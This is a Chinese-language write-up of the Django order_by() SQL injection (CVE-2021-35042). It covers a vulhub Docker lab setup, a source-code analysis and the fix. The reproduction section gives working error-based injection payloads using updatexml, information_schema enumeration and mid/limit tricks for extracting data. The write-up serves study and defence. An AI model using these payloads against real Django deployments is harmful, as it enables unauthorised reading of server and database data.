一、漏洞描述:
Django是开放源代码Python开发的Web应用框架。采用了MVC的框架模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的CMS(内容管理系统)软件。
在Django组件中SQL注入漏洞是由于QuerySet.order_by()中对用户提供数据的过滤不足,导致攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SQL注入攻击,最终造成服务器信息泄露。
二、漏洞形成原因
Django中很容易对数据库创建表并定义字段,只需在models.py文件中声明一个模型类即可。
Django内置了一个ORM框架,从数据库查询出来的结果是一个合集,这个合集就是QuerySet。而order_by这个方法的作用,是将查询出来的结果按照某字段的值,由小到大或由大到小进行排序。在views.py的视图函数中,先是获取到了用户传入的参数值order(如果没有传入参数默认值为id)。然后到Collection表中进行数据查询,对返回的结果按照id值从小到大进行排序。最后使用values()函数将数据合集转化成一个一个json的数据格式返回。
假如返回的结果按照id值排序Collection.objects.order_by(‘id’),默认是从小到大的顺序。如果想要变成从大到小,只需要把’id’变成’-id’即可。因此可以通过在参数值前面加‘-’来判断,如果返回的顺序颠倒了那么就是使用了order_by。
三、影响版本
Django 3.2/3.1
四、环境搭建
1、进入路径:/vulhub/django/CVE-2021-35042,执行命令docker-compose build和docker-compose up -d,部署靶机环境,过程如下:
2、访问靶机8000端口,如下所示即搭建成功
五、漏洞复现
进入vuln目录,通过get方式传参?order=-id
可以看到前后的输出结果不一样了,-id是指按照id降序排列数据,说明这里是用户可以控制的,那么就能尝试构造语句去执行其他指令。当传递一个错误的参数时,网页会显示一个报错页面,并将错误信息提示出来。
那么这里就可以尝试报错注入,将我们想要查询的数据通过报错的信息带出来
构造语句读取根目录信息:
?order=vuln_collection.name);
select updatexml(1, concat(0x7e,(select @@basedir)),1)%23
也可构造语句读取当前数据库中的表信息:
?order=vuln_collection.name);
select updatexml(1, concat(0x7e,(Select group_concat(table_name) from information_schema.tables where table_schema=database())),1)%23
之后即可通过变更红色部分的命令来读取数据库中的信息,通过报错注入读取数据存在一个弊端,一次只能读取32位的数据,用not in()把已经知道的内容剔除掉,也可以不用group_concat()而使用limit控制读取,通过前后添加特殊符号来判断数据是否读取完整
?order=vuln_collection.name);
select updatexml(1,concat(0x7e,(Select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)%23
当读取同一条数据无法完全获取时,可以利用mid函数来控制输出的位置
例如只输出django_migrations表applied列的1~6的内容
?order=vuln_collection.name);
select updatexml(1, concat(0x7e,(Select mid(applied,1,6) from django_migrations limit 0,1),0x7e),1)%23
六、漏洞分析
首先看一下这个网页的内容,在访问vuln目录后,默认进入的是views.py文件,其中通过get方式接收order传来的内容,放到order_by函数中去处理。
当order_by函数在django/db/models/query.py中运行到Collection.objects.order_by(‘id’)的时候,主要是进入如下函数来判断order_by 的排序顺序和表达式。
该函数主要是清除当前所有的通过order_by函数调用的方法,也就清除Query类中的self.order_by参数。第二件事就是增加self.order_by参数,跟进一下add_ordering()函数,在/django/db/models/sql/query.py文件中Django的orderby支持用表名.列名的形式传参排序,如:order_by(users.name)。
在传递的参数中有点时,就会执行warnings.warn()和continue,此时就会跳转到下面的self.names_to_path(item.split(LOOKUP_SEP), self.model._meta),这里就是对参数进行安全检查的,那么如果去掉continue,就会报错。
在/django/db/models/sql/compiler.py文件中处理表、列的函数
在这里处理时只针对table,没有col,所以导致col处可以插入代码。
七、漏洞修复
官方通过在4.0版本后不在支持使用表名.列名的方式进行orderby查询。